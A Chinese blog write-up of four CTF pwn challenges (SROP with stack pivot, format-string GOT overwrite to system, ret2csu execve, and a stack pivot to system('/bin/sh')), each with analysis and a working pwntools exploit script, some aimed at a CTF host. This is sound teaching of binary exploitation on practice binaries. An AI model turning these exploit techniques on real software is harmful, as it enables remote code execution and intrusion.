PWN练习---Stack_2

news2024/12/29 14:36:34

目录

  • srop
    • 源码
    • 分析
    • exp
  • putsorsys
    • 源码
    • 分析
    • exp
  • ret2csu_1
    • 源码
    • 分析
    • exp
  • traveler
    • 源码
    • 分析
    • exp

srop

题源:[NewStarCTF 2023 公开赛道]srop
考点:SROP + 栈迁移

源码

首先从bss段利用 syscall 调用 write 读出数据信息,然后调用 syscall-read向栈中rbp-0x30 位置读入数据,最多0x300字节。
[Tips:观察到调用 sys_read和sys_weite 时候,eax都是0,并且 rcx 被赋值为 size 部分。则猜测 rdi被当作 rax 使用,rsi,rdx,rcx 分别赋值三个参数。]
联想截图_20240214200827.png
联想截图_20240214200841.png

分析

  1. 利用栈溢出进行栈迁移将rbp寄存器转到bss段高地址。
  2. 然后在返回地址处填写程序调用 syscall-read 处起始地址,用于向rbp-0x30地址写入shell,实现向bss地址读入数据(二次输入)。
  3. 接着填充0x30垃圾数据覆盖到 rbprip地址利用syscall触发 sigreturn 。
  4. 最后布置栈中寄存器的值,调用execve(/bin/sh,0,0)执行shell。

exp

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF('./pwn_1')
#io = remote('node5.buuoj.cn',27296)
io = process('./pwn_1')
pop_rdi = 0x401203

lea = 0x401171  # lea rax,[rbp-0x30]  != leave 

bss = 0x404050  + 0x300
io.recvuntil(b'welcome to srop!\n')
syscall = elf.symbols['syscall']

frame = SigreturnFrame()  # execve(/bin/sh,0,0)
frame.rdi = 59   # "rax" = 0x3b
frame.rsi = bss - 0x30  # /bin/sh 填写地址为 rbp-0x30。====> "rdi"
frame.rdx = 0             #  "rsi"
frame.rcx = 0              #  "rdx"
frame.rsp = bss + 0x38  
frame.rip = syscall    

io.send(b'a'*0x30 + p64(bss) + p64(lea))
io.send(b'/bin/sh\x00' + b'a'*0x30 + flat(pop_rdi,0xf,syscall) + flat(frame))
           # shell + buf +     srop + syscall + framme     [rdi===>"rax"]
io.interactive()

putsorsys

题源:[NewStarCTF 2023 公开赛道]puts or system?
考点:64位fmt + got篡改

源码

存在格式化字符串漏洞,并且注意到已经存在“/bin/sh”参数。
联想截图_20240228130502.png

分析

程序存在多次格式化字符串漏洞。
Step1格式化字符串漏洞(%s + puts_got)泄露puts函数真实地址,利用附件 libc.so 获取 system 函数地址。
Step2:注意到每一次输入后,调用puts函数,并且把 /bin/sh 作为参数,可以再次利用格式化字符串漏洞 将 puts_got 篡改为 system 地址,构造 system(/bin/sh) 获取shell。

exp

#kali打不通...,Xubuntu会断(半通)
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
 
#p =process('./putsorsys')
p =remote('node5.buuoj.cn',26885)
elf =ELF('./putsorsys')
libc =ELF('./libc.so.6')
 
got_addr =elf.got['puts']
p.sendlineafter(b'(0/1)\n',b'1')
payload =b'%9$sAAAA' +p64(got_addr)   #AAAA对齐(4+4=8) %s泄露指针指向内存的数据
p.sendafter(b"What's it\n",payload)
p.recvuntil(b'There is my gift:\n')
 
puts_addr = u64(p.recvuntil(b'\x7f')[:6].ljust(8, b'\x00'))
print(hex(puts_addr))
 
libc_base = puts_addr - libc.sym['puts']
sys_addr = libc_base + libc.sym['system']
bin_sh = libc_base +  next(libc.search(b"/bin/sh\x00"))
 
p.sendlineafter(b'(0/1)\n',b'1')
 
payload =fmtstr_payload(8, {got_addr:sys_addr})
p.sendlineafter(b"What's it\n",payload)
p.interactive()

ret2csu_1

题源:[NewStarCTF 2022 公开赛道]ret2csu1
考点:ret2csu-basic + execve函数使用

源码

联想截图_20240216105046.png
联想截图_20240216105818.png

分析

首先程序存在栈溢出,可以覆盖返回地址。并且给出了后门函数,但是直接转到后门函数并没有任何作用,注意到 0x400648 地址调用了 syscall-execve ,可以利用 __libc_csu_init 函数中的gadget进行劫持。
联想截图_20240216110400.png
先布置gadget并分配好寄存器参数,然后劫持函数执行 execve(/bin/cat,/bin/cat/flag,0) 即可获取flag。查看__libc_csu_init 的汇编代码得到结论:
r13d,r14,r15寄存器的值分别可以被复制到x86-64位程序前三个寄存器 edi,rsi,rdx中,可以构造 execve函数的三个参数。

(虽然r13只有后八字节复制给了edi,但是经过调试发现rdi前八个字节是0,因此等同于 mov r13,rdi。)

同时,注意到存在/bin/cat,/flag字符串,因此构造execve(/bin/cat,/bin/cat/flag,0)

execve(const char *filename, char *const argv[], char *const envp[]);

filename:包含准备载入当前进程空间的新程序的路径名。既可以是绝对路径,又可以是相对路径。
argv[ ] :指定了传给新进程的命令行参数,该数组对应于c语言main函数的argv参数数组,格式也相同,argv[0]对应命令名,通常情况下该值与filename中的basename(就是绝对路径的最后一个)相同。
envp[ ]:最后一个参数envp指定了新程序的环境列表。参数envp对应于新程序的environ数组。

图中第二部分call指令:将r12+rbx*8 的结果作为地址来调用
布置寄存器参数:
rbx:由于第二部分mov,call下面存在add,cmp指令。如果rbx+1 != rbp,那么将会跳转,因此将rbx赋值为0rbp赋值为1,即可避免跳转。
r12:需要填充 数据为0x400648 的地址 来进行调用execve。发现:

.data:0000000000601068 48 06 40 00 00 00 00 00 gift3 dq 400648h
.data:0000000000601068 _data ends
.data:0000000000601068

因此赋值为0x601068
【Tip:不能直接填0x400648,类似于二级跳转。例如调用read函数时也需要填充read的got地址而不是plt地址】
r12,r13,r14分别赋值 0x4007BB,0x601050,0
联想截图_20240216113059.png
联想截图_20240216113022.png

exp

from pwn import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
elf = ELF('./ret2csu-1')
offset = 0x28
io = remote('node5.buuoj.cn',27959)
#io = process('./ret2csu-1')
pop_6 = 0x40072a
mov_3 = 0x400710

p = b'a'*offset + p64(pop_6) + p64(0)+p64(1) + p64(0x601068) 
p += p64(0x4007BB) +p64(0x601050) + p64(0) + p64(mov_3)
    # execve(/bin/cat,/bin/cat/flag,0)
io.sendafter(b'!\n',p)
io.interactive()

traveler

题源:[VNCTF2023]Traveler
考点:栈迁移(+抬栈)
坑点:bss段需要足够高地址才行。

源码

联想截图_20240216221001.png
联想截图_20240216221010.png

分析

思路1:第一次栈溢出调用向栈中填充数据的read功能代码,fake_rbp填充为bss段地址,然后第二次利用已有的system构造shell,new-fake_rbp填充为bss-0x28地址,再加上leave使得程序回调执行shell。(注意leave后rsp地址为rbp+8)
思路2:system函数的参数填充在第二次输入的bss段,亦可触发。
联想截图_20240216221456.png

exp

from pwn import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
io = remote('node5.buuoj.cn',29868)
#io = process('./traveler')
offset = 0x20
elf = ELF('./traveler')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

main = elf.sym['main']

leave = 0x401253
bss_1 = 0x404800 #本地打通的bss地址
bss_2 = 0x404d00 # 远程打通bss地址
pop_rdi = 0x4012c3
ret = 0x40101a
read = 0x401216
p1 = b'a'*offset + p64(bss_2) + p64(read)
io.sendafter(b'u?\n',p1)
io.sendafter(b'life?\n',b'a')

system = elf.sym['system']
bin = bss_2 - 0x8
p2 =  p64(pop_rdi) + p64(bin) + p64(system)  + b'/bin/sh\x00' + p64(bss_2-0x28) + p64(leave)  #思路1
io.send(p2)
io.sendafter(b'life?\n',b'a') #思路2/bin/sh\x00

io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2053973.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

回归预测|基于鲸鱼优化支持向量机结合Adaboost集成的数据回归预测Matlab程序 多特征输入单输出 效果非常不错!WOA-SVM-Adaboost

回归预测|基于鲸鱼优化支持向量机结合Adaboost集成的数据回归预测Matlab程序 多特征输入单输出 效果非常不错!WOA-SVM-Adaboost 文章目录 前言回归预测|基于鲸鱼优化支持向量机结合Adaboost集成的数据回归预测Matlab程序 多特征输入单输出 效果非常不错!…

Wallpaper-将动态壁纸永久设置为静态

可以在设置里找到横排性能选项点击之后里面有个回放,回放中有个应用程序规则点击设置-创建新规则,当explorer.exe(好像是微软的文件浏览?)条件为运行中,回放选择暂停即可 然后确定即可。

轻松上手:10款热门产品管理系统推荐

文章介绍了以下几个工具:PingCode、Worktile、Teambition、明道云、用友云、Tapd、禅道、Figma、Amplitude、Asana 。 在寻找合适的产品管理系统时,你是否感到市场上的选择令人眼花缭乱,不知从何选择?一个好的产品管理系统可以极大…

推荐4款让文字创作更轻松的AI 写作助手 !

目前很多的AI 技术已经渗透到了我们生活的各个领域,包括写作。ai写作工具的出现,为那些有写作困难或者需求的人们提供了很大的帮助,成为了我们的一大得力助手。今天,就给大家推荐几款比较热门的AI写作工具。 1、笔灵AI写作助手 直…

Java面向接口编程(例题+知识点)

题目: 采用面向接口编程思想组装一台计算机 计算机的主要组成部分 CPU 硬盘 内存 代码解析: 1.参数类型为 CPU 是因为它是一个接口。接口类型参数的主要好处是它使方法具有更好的灵活性和可扩展性。你可以传入任何实现了 CPU 接口的类的实例。 2.使用…

博达网站群管理平台 v6.0使用相关问题解决

1 介绍 最近受人所托,需要用博达网站群管理平台创建一个网站。该平台的内部版本为9.8.2。作为一个能直接从代码创建网站系统的人,初次使用本平台,刚开始感觉摸不着头脑。因为该平台存在的目的,就是让不懂代码的人能快速创建网站&…

记录xserver做域名,腾讯云做服务器的域名解析流程

以下为个人理解,请多指教 主域名 1.在Xserver买好域名后,会要求需要购买它们的服务器,因为server域名与server服务器是绑定关系 2.在腾讯云的“云解析DNS”添加域名,为自己购买的主域名abc.com 3.解析并生效 一般为www&#xff…

TransRepair

TransRepair: Context-aware Program Repair for Compilation Errors 基本信息 ASE 22: 37th IEEE/ACM International Conference on Automated Software Engineering 博客贡献人 页禾七 作者 Xueyang Li,Shangqing Liu,Ruitao Feng,Gu…

qt-17不规则窗体

不规则窗体 知识点shape.hshape.cppmain.cpp运行图 知识点 感觉这个就是在图片背景 贴了白色 shape.h #ifndef SHAPE_H #define SHAPE_H#include <QWidget>class Shape : public QWidget {Q_OBJECTpublic:Shape(QWidget *parent nullptr);~Shape(); protected:void m…

【开源社区】Elasticsearch(ES)中 exists 查询空值字段的坑

文章目录 1、概述2、使用 null_value 处理空值3、使用 exists 函数查询值为空的文档3.1 使用场景3.2 ES 中常见的空值查询方式3.3 常见误区3.4 使用 bool 查询函数查询空值字段3.5 exists 函数详解3.5.1 bool 查询的不足3.5.3 exists 的基本使用 3.6 完美方案 1、概述 本文主要…

环网交换机 环网数采仪 环网采集器确保数据传输无懈可击!

计讯物联Pro级双向防护&#xff0c;升级环网采集器确保数据传输无懈可击&#xff01; 在物联网(IoT)的世界里&#xff0c;数据流动如同城市交通&#xff0c;需要高效且可靠的网络来支撑。但就像城市交通可能遇到意外拥堵或道路封闭&#xff0c;传统网络在数据传输上也会遇到障…

Redis RDB三两事

rdb&#xff1a;将数据库的快照以二进制格式保存在文件中&#xff0c;redis重启后直接加载数据。可以通过save和bgsave命令生成rdb。当然我们可以在生成rdb文件时指定规则&#xff0c;例如 save 60 1000 如果60秒内不少于1000个key发生了改动&#xff0c;则生成一个新的rdb文件…

苹果电脑能玩Steam游戏吗?Steam对苹果笔记本要求高吗 steam苹果下载安装教程

对于游戏爱好者而言&#xff0c;如何在Mac上安装并使用Steam玩游戏成为一个重要的问题&#xff0c;Steam作为全球最大的数字发行平台和游戏社区&#xff0c;为玩家提供了丰富的游戏资源和社交交流平台。然而&#xff0c;由于Mac和Windows系统之间存在差异&#xff0c;很多人不确…

Linux进程间通信方式对比

参考&#xff1a; Linux进程间通信总结-百度开发者中心 Linux操作系统提供了多种进程间通信&#xff08;IPC&#xff09;的方式&#xff0c;每种方式都有其独特的应用场景和优缺点。下面将对Linux下的进程间通信方式进行总结和比较。 管道&#xff08;Pipe&#xff09; 管道是最…

小白学大模型:GLM 调用教程

最近这一两周看到不少互联网公司都已经开始秋招提前批面试了。 不同以往的是&#xff0c;当前职场环境已不再是那个双向奔赴时代了。求职者在变多&#xff0c;HC 在变少&#xff0c;岗位要求还更高了。 最近&#xff0c;我们又陆续整理了很多大厂的面试题&#xff0c;帮助一些…

计算机网络:DNS、子网掩码、网关

参考&#xff1a; https://blog.csdn.net/weixin_55255438/article/details/123074896 https://zhuanlan.zhihu.com/p/65226634 在计算机网络中&#xff0c;DNS&#xff08;Domain Name System&#xff0c;域名系统&#xff09;、子网掩码&#xff08;Subnet Mask&#xff09;…

优化RoBERTa:在AMD上使用混合精度进行微调

Optimizing RoBERTa: Fine-Tuning with Mixed Precision on AMD — ROCm Blogs 简介 在这篇博客中&#xff0c;我们将探讨如何微调鲁棒优化的BERT预训练方法&#xff08;[RoBERTa](https://arxiv.org/abs/1907.11692)&#xff09;大型语言模型&#xff0c;重点在于PyTorch的混…

遥感之大豆提取

主要记录大豆提取常用的光学以及sar等特征&#xff0c;以便在实验中实现考虑以下特征得到初步结果&#xff0c;在其基础上进行不同维度的优化。 参考文献**<Mapping annual 10-m soybean cropland with spatiotemporal sample migration>** 文档总体描述&#xff1a; …

Java类的加载器分类

启动类加载器 使用-XX:TraceClassLoading参数得到 扩展类加载器 应用程序类加载器 用户自定义类加载器 测试不同类的加载器

高性能web服务器--nginx

下载nginx [rootnginx ~]# wget -c https://nginx.org/download/nginx-1.24.0.tar.gz [rootnginx ~]# tar zxf nginx-1.24.0.tar.gz创建nginx用户 [rootnginx nginx-1.24.0]# useradd -s /sbin/nologin -M nginx先安装依赖 dnf install gcc pcre-devel zlib-devel openssl-d…